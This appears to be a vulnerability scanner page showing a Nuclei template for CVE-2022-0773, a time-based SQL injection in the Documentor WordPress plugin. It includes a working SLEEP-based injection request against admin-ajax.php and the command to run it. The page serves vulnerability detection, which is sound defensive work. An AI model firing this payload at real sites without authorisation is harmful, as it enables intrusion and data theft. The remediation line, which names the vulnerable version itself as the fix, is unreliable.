Documentor <= 1.5.3 - Unauthenticated SQL Injection

ID: CVE-2022-0773

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project

Description

The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.

YAML Source

id: CVE-2022-0773

info:
  name: Documentor <= 1.5.3 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to Documentor version 1.5.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/55b89de0-30ed-4f98-935e-51f069faf6fc
    - https://wordpress.org/plugins/documentor-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0773
    cwe-id: CWE-89
    epss-score: 0.05057
    epss-percentile: 0.92125
    cpe: cpe:2.3:a:documentor_project:documentor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: documentor_project
    product: documentor
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
      - |
        GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "([])") && contains(body_2, ".documentor-help")'
        condition: and
# digest: 4a0a0047304502206e18e0d0257214fcba8b4f7f28d0437ceaf8ab21b52af181fad890ed1d1ade360221009e2c9cb2d10192524d9040ae944e6f3559aa44cf4a86a90d59dffd17483e124c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0773.yaml"

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